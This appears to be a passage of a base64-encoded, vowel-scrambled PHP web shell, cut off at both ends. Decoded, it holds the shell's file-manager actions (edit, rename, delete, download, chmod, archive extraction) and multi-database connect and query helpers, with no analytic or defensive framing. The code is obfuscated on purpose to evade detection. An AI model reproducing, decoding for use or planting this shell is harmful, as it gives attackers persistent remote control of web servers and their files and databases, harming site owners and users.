gIjxzcDFuIDRkPSciLmNzKCRzX2wpLiJfJz48MSBocjVmPSciLiRzX3M1bGYuImNkPSIucGwoJHNfY3dkLiRzX2wuRFMpLiImZjRuZD0iLnBsKCRzX2N3ZC4kc19sLkRTKS4iJz5mNG5kPC8xPiB8IDwxIGhyNWY9JyIuJHNfczVsZi4iY2Q9Ii5wbCgkc19jd2QuJHNfbC5EUykuIiZ4PTNwbDIxZCIuIic+M3BsPC8xPiB8IDwxIGhyNWY9XCJqMXYxc2NyNHB0OnQzazFyKCciLmNzKCRzX2wpLiJfJywnJywncjVuMW01JywnIi4xZGRzKCRzX2wpLiInLCciLjFkZHMoJHNfbCkuIicpO1wiPnI1bjwvMT4gfCA8MSBocjVmPSciLiRzX3M1bGYuImNkPSIucGwoJHNfY3dkKS4iJmQ1bD0iLnBsKCRzX2wpLiInPmQ1bDwvMT48L3NwMW4+PGQ0diA0ZD0nIi5jcygkc19sKS4iX19mMnJtJz48L2Q0dj4iOw0KICAgICAgICAgICAgICAgICRzX3QydDFsX2Q0cisrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJHNfbG4xbTUgPSAiWyAiLiRzX2wuIiBdIjsNCiAgICAgICAgICAgICRzX2xzNHo1dDR0ID0gIjAiOw0KICAgICAgICAgICAgJHNfbG4xbTV0NHQgPSAiZDRyIDogIi4kc19sOw0KICAgICAgICB9DQogICAgICAgIDVsczV7DQogICAgICAgICAgICAkc19saHI1ZiA9ICRzX3M1bGYuInY0NXc9Ii5wbCgkc19jd2QuJHNfbCk7DQogICAgICAgICAgICAkc19sbjFtNSA9ICRzX2w7DQogICAgICAgICAgICAkc19sczR6NSA9IGdzKCRzX2wpOw0KICAgICAgICAgICAgJHNfbHM0ejV0NHQgPSBAZjRsNXM0ejUoJHNfbCk7DQogICAgICAgICAgICAkc19sbjFtNXQ0dCA9ICJmNGw1IDogIi4kc19sOw0KICAgICAgICAgICAgJHNfbDFjdDQybiA9ICI8c3AxbiA0ZD0nIi5jcygkc19sKS4iXyc+PDEgaHI1Zj0nIi4kc19zNWxmLiI1ZDR0PSIucGwoJHNfY3dkLiRzX2wpLiInPjVkNHQ8LzE+IHwgPDEgaHI1Zj0nIi4kc19zNWxmLiJoNXg1ZDR0PSIucGwoJHNfY3dkLiRzX2wpLiInPmg1eDwvMT4gfCA8MSBocjVmPVwiajF2MXNjcjRwdDp0M2sxcignIi5jcygkc19sKS4iXycsJycsJ3I1bjFtNScsJyIuMWRkcygkc19sKS4iJywnIi4xZGRzKCRzX2wpLiInKTtcIj5yNW48LzE+IHwgPDEgaHI1Zj0nIi4kc19zNWxmLiJkNWw9Ii5wbCgkc19jd2QuJHNfbCkuIic+ZDVsPC8xPiB8IDwxIGhyNWY9JyIuJHNfczVsZi4iZGw9Ii5wbCgkc19jd2QuJHNfbCkuIic+ZGw8LzE+PC9zcDFuPjxkNHYgNGQ9JyIuY3MoJHNfbCkuIl9fZjJybSc+PC9kNHY+IjsNCiAgICAgICAgICAgICRzX3QydDFsX2Y0bDUrKzsNCiAgICAgICAgfQ0KDQogICAgICAgICRzX2NiMnh2MWwgPSAkc19jd2QuJHNfbDsNCiAgICAgICAgNGYoJHNfbD09Jy4nKSAkc19jYjJ4djFsID0gJHNfY3dkOw0KICAgICAgICA0Zigkc19sPT0nLi4nKSAkc19jYjJ4djFsID0gJHNfcDFyNW50Ow0KDQogICAgICAgICRzX2NiMng1c180ZCA9IHMzYnN0cihtZGkoJHNfbGhyNWYpLDAsOCk7DQogICAgICAgICRzX2NiMng1cyA9ICI8NG5wM3QgNGQ9JyIuJHNfY2IyeDVzXzRkLiInIG4xbTU9J2NiMngnIHYxbDM1PSciLmhzcygkc19jYjJ4djFsKS4iJyB0eXA1PSdjaDVja2IyeCcgY2wxc3M9J2Nzcy1jaDVja2IyeCcgMm5jaDFuZzU9J2g0bDR0NSh0aDRzKTsnIC8+PGwxYjVsIGYycj0nIi4kc19jYjJ4NXNfNGQuIicgY2wxc3M9J2Nzcy1sMWI1bCc+PC9sMWI1bD4iOw0KDQogICAgICAgICRzX2x0NG01ID0gZjRsNW10NG01KCRzX2wpOw0KICAgICAgICAkc19iM2ZmIC49ICI8dHI+PHRkIHN0eWw1PSd0NXh0LTFsNGduOmM1bnQ1cjt0NXh0LTRuZDVudDp1cHg7Jz4iLiRzX2NiMng1cy4iPC90ZD48dGQgY2wxc3M9J3hwbCcgdDR0bDU9JyIuJHNfbG4xbTV0NHQuIicgMm5kYmxjbDRjaz1cInI1dDNybiBnMignIi4xZGRzKCRzX2xocjVmKS4iJyw1djVudCk7XCI+PDEgaHI1Zj0nIi4kc19saHI1Zi4iJz4iLiRzX2xuMW01LiI8LzE+PC90ZD48dGQgdDR0bDU9JyIuJHNfbHM0ejV0NHQuIic+Ii4kc19sczR6NS4iPC90ZD4iLiRzXzJ3bjVyX2h0bWwuIjx0ZCBjbDFzcz0nYzUnPiIuZ3AoJHNfbCkuIjwvdGQ+PHRkIGNsMXNzPSdjNScgdDR0bDU9JyIuJHNfbHQ0bTUuIic+Ii5AZDF0NSgiZC1NLVkgSDo0OnMiLCRzX2x0NG01KS4iPC90ZD48dGQ+Ii4kc19sMWN0NDJuLiI8L3RkPjwvdHI+IjsNCiAgICB9DQogICAgJHNfYjNmZiAuPSAiPC90YjJkeT4iOw0KDQogICAgJHNfNXh0cjFjdCA9ICIiOyAkc19jMm1wcjVzcyA9ICIiOw0KICAgIDRmKGNsMXNzXzV4NHN0cygiWjRwQXJjaDR2NSIpKXsNCiAgICAgICAgJHNfNXh0cjFjdCAuPSAiPDJwdDQybiB2MWwzNT0nNXh0cjFjdHo0cCc+NXh0cjFjdCAoejRwKTwvMnB0NDJuPiI7DQogICAgICAgICRzX2MybXByNXNzIC49ICI8MnB0NDJuIHYxbDM1PSdjMm1wcjVzc3o0cCc+YzJtcHI1c3MgKHo0cCk8LzJwdDQybj4iOw0KICAgIH0NCiAgICA0Zigkc190MXIpew0KICAgICAgICAkc181eHRyMWN0IC49ICI8MnB0NDJuIHYxbDM1PSc1eHRyMWN0dDFyJz41eHRyMWN0ICh0MXIpPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nNXh0cjFjdHQxcmd6Jz41eHRyMWN0ICh0MXIuZ3opPC8ycHQ0Mm4+IjsNCiAgICAgICAgJHNfYzJtcHI1c3MgLj0iPDJwdDQybiB2MWwzNT0nYzJtcHI1c3N0MXInPmMybXByNXNzICh0MXIpPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nYzJtcHI1c3N0MXJneic+YzJtcHI1c3MgKHQxci5neik8LzJwdDQybj4iOw0KICAgIH0NCg0KICAgICRzXzV4dGMybSA9ICgkc181eHRyMWN0IT0iIiAmJiAkc19jMm1wcjVzcyE9IiIpPyAkc181eHRyMWN0LiI8MnB0NDJuIHYxbDM1PScnIGQ0czFibDVkPi08LzJwdDQybj4iLiRzX2MybXByNXNzOiRzXzV4dHIxY3QuJHNfYzJtcHI1c3M7DQoNCiAgICAkc19iM2ZmIC49ICI8dGYyMnQ+PHRyIGNsMXNzPSdjYjJ4X3M1bDVjdDVkJz48dGQgY2wxc3M9J2NiMnhfMWxsJz48NG5wM3QgNGQ9J2NoNWNrMWxsbCcgdHlwNT0nY2g1Y2tiMngnIG4xbTU9JzFiMngnIGNsMXNzPSdjc3MtY2g1Y2tiMngnIDJuY2w0Y2s9J2NoNWNrMWxsKCk7JyAvPiA8bDFiNWwgZjJyPSdjaDVjazFsbGwnIGNsMXNzPSdjc3MtbDFiNWwnPjwvbDFiNWw+PC90ZD48dGQ+PGYycm0gMWN0NDJuPSciLiRzX3M1bGYuIicgbTV0aDJkPSdwMnN0Jz48czVsNWN0IDRkPSdtMXNzMWN0JyBjbDFzcz0nNG5wM3R6YjN0JyAybmNoMW5nNT0nbTFzczFjdGcyKCk7JyBzdHlsNT0ndzRkdGg6NjAwJTtoNTRnaHQ6YTBweDttMXJnNG46MDsnPjwycHQ0Mm4gdjFsMzU9JycgZDRzMWJsNWQgczVsNWN0NWQ+QWN0NDJuPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nYzN0Jz5jM3Q8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdjMnB5Jz5jMnB5PC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0ncDFzdDUnPnAxc3Q1PC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nZDVsNXQ1Jz5kNWw1dDU8LzJwdDQybj48MnB0NDJuIHYxbDM1PScnIGQ0czFibDVkPi08LzJwdDQybj48MnB0NDJuIHYxbDM1PSdjaG0yZCc+Y2htMmQ8LzJwdDQybj48MnB0NDJuIHYxbDM1PSd0MjNjaCc+dDIzY2g8LzJwdDQybj48MnB0NDJuIHYxbDM1PScnIGQ0czFibDVkPi08LzJwdDQybj4iLiRzXzV4dGMybS4iPC9zNWw1Y3Q+PG4yc2NyNHB0Pjw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdHMiAhJyBjbDFzcz0nNG5wM3R6YjN0JyAybmNsNGNrPSdtMXNzMWN0ZzIoKTsnIC8+PC9uMnNjcjRwdD48L2Yycm0+PC90ZD48dGQgYzJsc3Axbj0nIi4kc19jMmxzcDFuLiInIHN0eWw1PSd0NXh0LTFsNGduOmw1ZnQ7Jz5UMnQxbCA6ICIuJHNfdDJ0MWxfZjRsNS4iIGY0bDVzLCAiLiRzX3QydDFsX2Q0ci4iIEQ0cjVjdDJyNDVzPHNwMW4gNGQ9J3QydDFsX3M1bDVjdDVkJz48L3NwMW4+PC90ZD48L3RyPjwvdGYyMnQ+PC90MWJsNT4iOw0KDQogICAgcjV0M3JuICRzX2IzZmY7DQp9DQovL2QxdDFiMXM1IHI1bDF0NWQgZjNuY3Q0Mm5zDQpmM25jdDQybiBzcWxfYzJubjVjdCgkc19zcWx0eXA1LCAkc19zcWxoMnN0LCAkc19zcWwzczVyLCAkc19zcWxwMXNzKXsNCiAgICA0Zigkc19zcWx0eXA1ID09ICdteXNxbCcpew0KICAgICAgICA0ZihjbDFzc181eDRzdHMoJ215c3FsNCcpKSByNXQzcm4gbjV3IG15c3FsNCgkc19zcWxoMnN0LCAkc19zcWwzczVyLCAkc19zcWxwMXNzKTsNCiAgICAgICAgNWxzNTRmKGYzbmN0NDJuXzV4NHN0cygnbXlzcWxfYzJubjVjdCcpKSByNXQzcm4gQG15c3FsX2Mybm41Y3QoJHNfc3FsaDJzdCwgJHNfc3FsM3M1ciwgJHNfc3FscDFzcyk7DQogICAgfQ0KICAgIDVsczU0Zigkc19zcWx0eXA1ID09ICdtc3NxbCcpew0KICAgICAgICA0ZihmM25jdDQybl81eDRzdHMoJ3NxbHNydl9jMm5uNWN0Jykpew0KICAgICAgICAgICAgJHNfYzJuNG5mMiA9IDFycjF5KCJVSUQiPT4kc19zcWwzczVyLCAiUFdEIj0+JHNfc3FscDFzcyk7DQogICAgICAgICAgICByNXQzcm4gQHNxbHNydl9jMm5uNWN0KCRzX3NxbGgyc3QsJHNfYzJuNG5mMik7DQogICAgICAgIH0NCiAgICAgICAgNWxzNTRmKGYzbmN0NDJuXzV4NHN0cygnbXNzcWxfYzJubjVjdCcpKSByNXQzcm4gQG1zc3FsX2Mybm41Y3QoJHNfc3FsaDJzdCwgJHNfc3FsM3M1ciwgJHNfc3FscDFzcyk7DQogICAgfQ0KICAgIDVsczU0Zigkc19zcWx0eXA1ID09ICdwZ3NxbCcpew0KICAgICAgICAkc19oMnN0cyA9IDV4cGwyZDUoIjoiLCAkc19zcWxoMnN0KTsNCiAgICAgICAgNGYoYzIzbnQoJHNfaDJzdHMpPT1hKXsNCiAgICAgICAgICAgICRzX2gyc3Rfc3RyID0gImgyc3Q9Ii4kc19oMnN0c1swXS4iIHAycnQ9Ii4kc19oMnN0c1s2XTsNCiAgICAgICAgfQ0KICAgICAgICA1bHM1ICRzX2gyc3Rfc3RyID0gImgyc3Q9Ii4kc19zcWxoMnN0Ow0KICAgICAgICA0ZihmM25jdDQybl81eDRzdHMoJ3BnX2Mybm41Y3QnKSkgcjV0M3JuIEBwZ19jMm5uNWN0KCIkc19oMnN0X3N0ciAzczVyPSRzX3NxbDNzNXIgcDFzc3cycmQ9JHNfc3FscDFzcyIpOw0KICAgIH0NCiAgICA1bHM1NGYoJHNfc3FsdHlwNSA9PSAnMnIxY2w1Jyl7IDRmKGYzbmN0NDJuXzV4NHN0cygnMmM0X2Mybm41Y3QnKSkgcjV0M3JuIEAyYzRfYzJubjVjdCgkc19zcWwzczVyLCAkc19zcWxwMXNzLCAkc19zcWxoMnN0KTsgfQ0KICAgIDVsczU0Zigkc19zcWx0eXA1ID09ICdzcWw0dDVvJyl7DQogICAgICAgIDRmKGNsMXNzXzV4NHN0cygnU1FMNHQ1bycpKSA0ZighNW1wdHkoJHNfc3FsaDJzdCkpIHI1dDNybiBuNXcgU1FMNHQ1bygkc19zcWxoMnN0KTsNCiAgICAgICAgNWxzNSByNXQzcm4gZjFsczU7DQogICAgfQ0KICAgIDVsczU0Zigkc19zcWx0eXA1ID09ICdzcWw0dDUnKXsgNGYoZjNuY3Q0Mm5fNXg0c3RzKCdzcWw0dDVfMnA1bicpKSByNXQzcm4gQHNxbDR0NV8ycDVuKCRzX3NxbGgyc3QpOyB9DQogICAgNWxzNTRmKCRzX3NxbHR5cDUgPT0gJzJkYmMnKXsgNGYoZjNuY3Q0Mm5fNXg0c3RzKCcyZGJjX2Mybm41Y3QnKSkgcjV0M3JuIEAyZGJjX2Mybm41Y3QoJHNfc3FsaDJzdCwgJHNfc3FsM3M1ciwgJHNfc3FscDFzcyk7IH0NCiAgICA1bHM1NGYoJHNfc3FsdHlwNSA9PSAncGQyJyl7DQogICAgICAgIDRmKGNsMXNzXzV4NHN0cygnUERPJykpIDRmKCE1bXB0eSgkc19zcWxoMnN0KSkgcjV0M3JuIG41dyBQRE8oJHNfc3FsaDJzdCwgJHNfc3FsM3M1ciwgJHNfc3FscDFzcyk7DQogICAgICAgIDVsczUgcjV0M3JuIGYxbHM1Ow0KICAgIH0NCiAgICByNXQzcm4gZjFsczU7DQp9DQpmM25jdDQybiBzcWxfcTM1cnkoJHNfc3FsdHlwNSwgJHNfcTM1cnksICRzX2Mybil7DQogICAgNGYoJHNfc3FsdHlwNSA9PSAnbXlzcWwnKXsNCiAgICAgICAgNGYoY2wxc3NfNXg0c3RzKCdteXNxbDQnKSkgcjV0M3JuICRzX2Mybi0+cTM1cnkoJHNfcTM1cnkpOw0KICAgICAgICA1bHM1NGYoZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9xMzVyeScpKSByNXQzcm4gbXlzcWxfcTM1cnkoJHNfcTM1cnkpOw0KICAgIH0NCiAgICA1bHM1NGYoJHNfc3FsdHlwNSA9PSAnbXNzcWwnKXsNCiAgICAgICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCdzcWxzcnZfcTM1cnknKSkgcjV0M3JuIHNxbHNydl9xMzVyeSgkc19jMm4sJHNfcTM1cnkpOw0KICAgICAgICA1bHM1NGYoZjNuY3Q0Mm5fNXg0c3RzKCdtc3NxbF9xMzVyeScpKSByNXQzcm4gbXNzcWxfcTM1cnkoJHNfcTM1cnkpOw0KICAgIH0NCiAgICA1bHM1NGYoJHNfc3FsdHlwNSA9PSAncGdzcWwnKSByNXQzcm4gcGdfcTM1cnkoJHNfcTM1cnkpOw0KICAgIDVsczU0Zigkc19zcWx0eXA1ID09ICcycjFjbDUnKSByNXQzcm4gMmM0XzV4NWMzdDUoMmM0X3AxcnM1KCRzX2MybiwgJHNfcTM1cnkpKTsNCiAgICA1bHM1NGYoJHNfc3FsdHlwNSA9PSAnc3FsNHQ1bycpIHI1dDNybiAkc19jMm4tPnEzNXJ5KCRzX3EzNXJ5KTsNCiAgICA1bHM1NGYoJHNfc3FsdHlwNSA9PSAnc3FsNHQ1JykgcjV0M3JuIHNxbDR0NV9xMzVyeSgkc19jMm4sICRzX3EzNXJ5KTsNCiAgICA1bHM1NGYoJHNfc3FsdHlwNSA9PSAnMmRiYycpIHI1dDNybiAyZGJjXzV4NWMoJHNfYzJuLCAkc19xMzVyeSk7DQogICAgNWxzNTRmKCRzX3NxbHR5cDUgPT0gJ3BkMicpIHI1dDNybiAkc19jMm4tPnEzNXJ5KCRzX3EzNXJ5KTsNCn0NCmYzbmN0NDJuIHNxbF9uM21fcjJ3cygkc19zcWx0eXA1LCRzX2gxczRsKXsNCiAgICA0Zigkc19zcWx0eXA1ID09ICdteXNxbCcpew0KICAgICAgICA0ZihjbDFzc181eDRzdHMoJ215c3FsNF9yNXMzbHQnKSkgcjV0M3JuICRzX2gxczRsLT5teXNxbDRfbjNtX3Iyd3M7DQogICAgICAgIDVsczU0ZihmM25jdDQybl81eDRzdHMoJ215c3FsX24zbV9yMndzJykpIHI1dDNybiBteXNxbF9uM21fcjJ3cygkc19oMXM0bCk7DQogICAgfQ0KICAgIDVsczU0Zigkc19zcWx0eXA1ID09ICdtc3NxbCcpew0KICAgICAgICA0ZihmM25jdDQybl81eDRzdHMoJ3NxbHNydl9uM21fcjJ3cycpKSByNXQzcm4gc3Fsc3J2X24zbV9yMndzKCRzX2gxczRsKTsNCiAgICAgICAgNWxzNTRmKGYzbmN0NDJuXzV4NHN0cygnbXNzcWxfbjNtX3Iyd3MnKSkgcjV0M3JuIG1zc3FsX24zbV9yMndzKCRzX2gxczRsKTsNCiAgICB9DQogICAgNWxzNTRmKCRzX3NxbHR5cDUgPT0gJ3Bnc3FsJykgcjV0M3JuIHBnX24zbV9yMndzKCRzX2gxczRsKTsNCiAgICA1bHM1NGYoJHNfc3FsdHlwNSA9PSAnMnIxY2w1JykgcjV0M3JuIDJjNF9uM21fcjJ3cygkc19oMXM0bCk7DQogICAgNWxzNTRmKCRzX3NxbHR5cDUgPT0gJ3NxbDR0NW8nKXsNCiAgICAgICAgJHNfbTV0MWQxdDEgPSAkc19oMXM0bC0+ZjV0Y2hBcnIxeSgpOw0KICAgICAgICA0Zig0c18xcnIxeSgkc19tNXQxZDF0MSkpIHI1dDNybiAkc19tNXQxZDF0MVsnYzIzbnQnXTsNCiAgICB9DQogICAgNWxzNTRmKCRzX3NxbHR5cDUgPT0gJ3NxbDR0NScpIHI1dDNybiBzcWw0dDVfbjNtX3Iyd3MoJHNfaDFzNGwpOw0KICAgIDVsczU0Zigkc19zcWx0eXA1ID09ICcyZGJjJykgcjV0M3JuIDJkYmNfbjNtX3Iyd3MoJHNfaDFzNGwpOw0KICAgIDVsczU0Zigkc19zcWx0eXA1ID09ICdwZDInKSByNXQzcm4gJHNfaDFzNGwtPnIyd0MyM250KCk7DQp9DQpmM25jdDQybiBzcWxfbjNtX2Y0NWxkcygkc19zcWx0eXA1LCAkc19oMXM0bCl7DQogICAgNGYoJHNfc3FsdHlwNSA9PSAnbXlzcWwnKXsNCiAgICAgICAgNGYoY2wxc3NfNXg0c3RzKCdteXNxbDRfcjVzM2x0JykpIHI1dDNybiAkc19oMXM0bC0+ZjQ1bGRfYzIzbnQ7DQogICAgICAgIDVsczU0ZihmM25jdDQybl81eDRzdHMoJ215c3FsX24zbV9mNDVsZHMnKSkgcjV0M3JuIG15c3FsX24zbV9mNDVsZHMoJHNfaDFzNGwpOw0KICAgIH0NCiAgICA1bHM1NGYoJHNfc3FsdHlwNSA9PSAnbXNzcWwnKXsNCiAgICAgICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCdzcWxzcnZfbjNtX2Y0NWxkcycpKSByNXQzcm4gc3Fsc3J2X24zbV9mNDVsZHMoJHNfaDFzNGwpOw0KICAgICAgICA1bHM1NGYoZjNuY3Q0Mm5fNXg0c3RzKCdtc3NxbF9uM21fZjQ1bGRzJykpIHI1dDNybiBtc3NxbF9uM21fZjQ1bGRzKCRzX2gxczRsKTsNCiAgICB9DQogICAgNWxzNTRmKCRzX3NxbHR5cDUgPT0gJ3Bnc3FsJykgcjV0M3JuIHBnX24zbV9mNDVsZHMoJHNfaDFzNGwpOw0KICAgIDVsczU0Zigkc19zcWx0eXA1ID09ICcycjFjbDUnKSByNXQzcm4gMmM0X24zbV9mNDVsZHMoJHNfaDFzNGwpOw0KICAgIDVsczU0Zigkc19zcWx0eXA1ID09ICdzcWw0dDVvJykgcjV0M3JuICRzX2gxczRsLT5uM21DMmwzbW5zKCk7DQogICAgNWxzNTRmKCRzX3NxbHR5cDUgPT0gJ3NxbDR0NScpIHI1dDNybiBzcWw0dDVfbjNtX2Y0NWxkcygkc19oMXM0bCk7DQogICAgNWxzNTRmKCRzX3NxbHR5cDUgPT0gJzJkYmMnKSByNXQzcm4gMmRiY19uM21fZjQ1bGRzKCRzX2gxczRsKTsNCiAgICA1bHM1NGYoJHNfc3FsdHlwNSA9PSAncGQyJykgcjV0M3JuICRzX2gxczRsLT5jMmwzbW5DMjNudCgpOw0KfQ0KZjNuY3Q0Mm4gc3FsX2Y0NWxkX24xbTUoJHNfc3FsdHlwNSwkc19oMXM0bCwkc180KXsNCiAgICA0Zigkc19zcWx0eXA1ID09ICdteXNxbCcpew0KICAgICAgICA0ZihjbDFzc181eDRzdHMoJ215c3FsNF9yNXMzbHQnKSkgeyAkej0kc19oMXM0bC0+ZjV0Y2hfZjQ1bGQoKTtyNXQzcm4gJHotPm4xbTU7fQ0KICAgICAgICA1bHM1NGYoZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9mNDVsZF9uMW01JykpIHI1dDNybiBteXNxbF9mNDVsZF9uMW01KCRzX2gxczRsLCRzXzQpOw0KICAgIH0NCiAgICA1bHM1NGYoJHNfc3FsdHlwNSA9PSAnbXNzcWwnKXsNCiAgICAgICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCdzcWxzcnZfZjQ1bGRfbTV0MWQxdDEnKSl7DQogICAgICAgICAgICAkc19tNXQxZDF0MSA9IHNxbHNydl9mNDVsZF9tNXQxZDF0MSgkc19oMXM0bCk7DQogICAgICAgICAgICA0Zig0c18xcnIxeSgkc19tNXQxZDF0MSkpew0KICAgICAgICAgICAgICAgICRzX201dDFkMXQxPSRzX201dDFkMXQxWyRzXzRdOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNGYoNHNfMXJyMXkoJHNfbTV0MWQxdDEpKSByNXQzcm4gJHNfbTV0MWQxdDFbJ04xbTUnXTsNCiAgICAgICAgfQ0KICAgICAgICA1bHM1NGYoZjNuY3Q0Mm5fNXg0c3RzKCdtc3NxbF9mNDVsZF9uMW01JykpIHI1dDNybiBtc3NxbF9mNDVsZF9uMW01KCRzX2gxczRsLCRzXzQpOw0KICAgIH0NCiAgICA1bHM1NGYoJHNfc3FsdHlwNSA9PSAncGdzcWwnKSByNXQzcm4gcGdfZjQ1bGRfbjFtNSgkc19oMXM0bCwkc180KTsNCiAgICA1bHM1NGYoJHNfc3FsdHlwNSA9PSAnMnIxY2w1JykgcjV0M3JuIDJjNF9mNDVsZF9uMW01KCRzX2gxczRsLCRzXzQrNik7DQogICAgNWxzNTRmKCRzX3NxbHR5cDUgPT0gJ3NxbDR0NW8nKSByNXQzcm4gJHNfaDFzNGwtPmMybDNtbk4xbTUoJHNfNCk7DQogICAgNWxzNTRmKCRzX3NxbHR5cDUgPT0gJ3NxbDR0NScpIHI1dDNybiBzcWw0dDVfZjQ1bGRfbjFtNSgkc19oMXM0bCwkc180KTsNCiAgICA1bHM1NGYoJHNfc3FsdHlwNSA9PSAnMmRiYycpIHI1dDNybiAyZGJjX2Y0NWxkX24xbTUoJHNfaDFzNGwsJHNfNCs2KTsNCiAgICA1bHM1NGYoJHNfc3FsdHlwNSA9PSAncGQyJyl7DQogICAgICAgICRzX3I1cyA9ICRzX2gxczRsLT5nNXRDMmwzbW5NNXQxKCRzXzQpOw0KICAgICAgICByNXQzcm4gJHNfcjVzWyduMW01J107DQogICAgfQ0KfQ0KZjNuY3Q0Mm4gc3FsX2Y1dGNoX2QxdDEoJHNfc3FsdHlwNSwkc19oMXM0bCl7DQogICAgNGYoJHNfc3FsdHlwNSA9PSAnbXlzcWwnKXsNCiAgICAgICAgNGYoY2wxc3NfNXg0c3RzKCdteXNxbDRfcjVzM2x0JykpIHI1dDNybiAkc19oMXM0bC0+ZjV0Y2hfcjJ3KCk7DQogICAgICAgIDVsczU0ZihmM25jdDQybl81eDRzdHMoJ215c3FsX2Y1dGNoX3IydycpKSByNXQzcm4gbXlzcWxfZjV0Y2hfcjJ3KCRzX2gxczRsKTsNCiAgICB9DQogICAgNWxzNTRmKCRzX3NxbHR5cDUgPT0gJ21zc3FsJyl7DQogICAgICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnc3Fsc3J2X2Y1dGNoXzFycjF5JykpIHI1dDNybiBzcWxzcnZfZjV0Y2hfMXJyMXkoJHNfaDFzNGwsNik7DQogICAgICAgIDVsczU0ZihmM25jdDQybl81eDRzdHMoJ21zc3FsX2Y1dGNoX3IydycpKSByNXQzcm4gbXNzcWxfZjV0Y2hfcjJ3KCRzX2gxczRsKTsNCiAgICB9DQogICAgNWxzNTRmKCRzX3NxbHR5cDUgPT0gJ3Bnc3FsJykgcjV0M3JuIHBnX2Y1dGNoX3Iydygkc19oMXM0bCk7DQogICAgNWxzNTRmKCRzX3NxbHR5cDUgPT0gJzJyMWNsNScpIHI1dDNybiAyYzRfZjV0Y2hfcjJ3KCRzX2gxczRsKTsNCiAgICA1bHM1NGYoJHNfc3FsdHlwNSA9PSAnc3FsNHQ1bycpIHI1dDNybiAkc19oMXM0bC0+ZjV0Y2hBcnIxeSg2KTsNCiAgICA1bHM1NGYoJHNfc3FsdHlwNSA9PSAnc3FsNHQ1JykgcjV0M3JuIHNxbDR0NV9mNXRjaF8xcnIxeSgkc19oMXM0bCw2KTsNCiAgICA1bHM1NGYoJHNfc3FsdHlwNSA9PSAnMmRiYycpIHI1dDNybiAyZGJjX2Y1dGNoXzFycjF5KCRzX2gxczRsKTsNCiAgICA1bHM1NGYoJHNfc3FsdHlwNSA9PSAncGQyJykgcjV0M3JuICRzX2gxczRsLT5mNXRjaChhKTsNCn0NCmYzbmN0NDJuIHNxbF9jbDJzNSgkc19zcWx0eXA1LCRzX2Mybil7DQogICAgNGYoJHNfc3FsdHlwNSA9PSAnbXlzcWwnKXsNCiAgICAgICAgNGYoY2wxc3NfNXg0c3RzKCdteXNxbDQnKSkgcjV0M3JuICRzX2Mybi0+Y2wyczUoKTsNCiAgICAgICAgNWxzNTRmKGYzbmN0NDJuXzV4NHN0cygnbXlzcWxfY2wyczUnKSkgcjV0M3JuIG15c3FsX2NsMnM1KCRzX2Mybik7DQogICAgfQ0KICAgIDVsczU0Zigkc19zcWx0eXA1ID09ICdtc3NxbCcpew0KICAgICAgICA0ZihmM25jdDQybl81eDRzdHMoJ3NxbHNydl9jbDJzNScpKSByNXQzcm4gc3Fsc3J2X2NsMnM1KCRzX2Mybik7DQogICAgICAgIDVsczU0ZihmM25jdDQybl81eDRzdHMoJ21zc3FsX2NsMnM1JykpIHI1dDNybiBtc3NxbF9jbDJzNSgkc19jMm4pOw0KICAgIH0NCiAgICA1bHM1NGYoJHNfc3FsdHlwNSA9PSAncGdzcWwnKSByNXQzcm4gcGdfY2wyczUoJHNfYzJuKTsNCiAgICA1bHM1NGYoJHNfc3FsdHlwNSA9PSAnMnIxY2w1JykgcjV0M3JuIDJjNF9jbDJzNSgkc19jMm4pOw0KICAgIDVsczU0Zigkc19zcWx0eXA1ID09ICdzcWw0dDVvJykgcjV0M3JuICRzX2Mybi0+Y2wyczUoKTsNCiAgICA1bHM1NGYoJHNfc3FsdHlwNSA9PSAnc3FsNHQ1JykgcjV0M3JuIHNxbDR0NV9jbDJzNSgkc19jMm4pOw0KICAgIDVsczU0Zigkc19zcWx0eXA1ID09ICcyZGJjJykgcjV0M3JuIDJkYmNfY2wyczUoJHNfYzJuKTsNCiAgICA1bHM1NGYoJHNfc3FsdHlwNSA9PSAncGQyJykgcjV0M3JuICRzX2MybiA9IG4zbGw7DQp9DQo0ZighZjNuY3Q0Mm5fNXg0c3RzKCdzdHJfc3BsNHQnKSl7DQogICAgZjNuY3Q0Mm4gc3RyX3NwbDR0KCRzX3QsJHNfcz02KXsNCiAgICAgICAgJHNfMSA9IDFycjF5KCk7DQogICAgICAgIGYycigkc180ID0gMDsgJHNfNDxzdHJsNW4oJHNfdCk7KXsNCiAgICAgICAgICAgICRzXzFbXSA9IHMzYnN0cigkc190LCRzXzQsJHNfcyk7DQogICAgICAgICAgICAkc180ICs9ICRzX3M7DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICRzXzE7DQogICAgfQ0KfQ0KDQovLyAxcHA1MXIxbmM1DQokc190aDVtNSA9ICJkMXJrIjsgLy8gZDVmMTNsdCA0cyBkMXJrDQo0Zig0c3M1dCgkX0NPT0tJRVsndGg1bTUnXSkpICRzX3RoNW01ID0gJF9DT09LSUVbJ3RoNW01J107DQo0Zig0c3M1dCgkX0dQWyd4J10pICYmICgkX0dQWyd4J109PSdzdzR0Y2gnKSl7DQogICAgNGYoNHNzNXQoJF9DT09LSUVbJ3RoNW01J10pKSAkc190aDVtNSA9ICRfQ09PS0lFWyd0aDVtNSddOw0KICAgIDRmKCRzX3RoNW01PT0iYnI0Z2h0IikgJHNfdGg1bTUgPSAiZDFyayI7DQogICAgNWxzNSAkc190aDVtNSA9ICJicjRnaHQiOw0KICAgIHM1dGMyMms0NSgidGg1bTUiLCAkc190aDVtNSAsdDRtNSgpICsgJHNfbDJnNG5fdDRtNSk7DQp9DQokc19oNGdobDRnaHRfZDFyayA9IDFycjF5KCJ1QzlDQUYiLCAiODg4ODg4IiwgIjg3REZ1aSIsICJFRUVFRUUiICwgIkZGODAwMCIpOw0KJHNfaD